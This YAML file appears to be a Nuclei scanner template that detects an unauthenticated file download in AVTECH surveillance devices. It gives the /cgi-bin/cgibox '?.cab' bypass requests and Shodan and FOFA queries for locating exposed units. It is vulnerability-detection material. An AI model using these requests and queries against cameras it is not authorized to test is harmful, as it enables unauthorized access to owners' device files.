avtech-unauth-file-download: AVTECH Video Surveillance Product - Unauthenticated File Download

id: avtech-unauth-file-download

info:
  name: AVTECH Video Surveillance Product - Unauthenticated File Download
  author: ritikchaddha
  severity: high
  description: |
    AVTECH video surveillance products unauthenticated file download from web root through /cgi-bin/cgibox, Since the .cab string is verified by the strstr method, the file download can be realized by adding ?.cab at the end of the file name.
  metadata:
    verified: true
    max-request: 2
    shodan-query: title:"login" product:"Avtech"
    fofa-query: app="AVTECH-视频监控"
  tags: exposure,avtech,unauth,download,iot,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/cgi-bin/cgibox?.cab"
      - "{{BaseURL}}/cgi-bin/cgibox?/nobody"

    stop-at-first-match: true

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - 'ELF'
          - 'ddns_avtech_final'
        condition: and

      - type: word
        part: header
        words:
          - text/plain

      - type: status
        status:
          - 200
# digest: 4a0a004730450220672d659c96f3134ac75bc53557b95c01faa67cefd84634fb188c354f566778f5022100f9cbd58ce4e9115544423428538a46ee548ad0c60456f25eb301c898ce71cda4:922c64590222798bb761d5b6d8e72950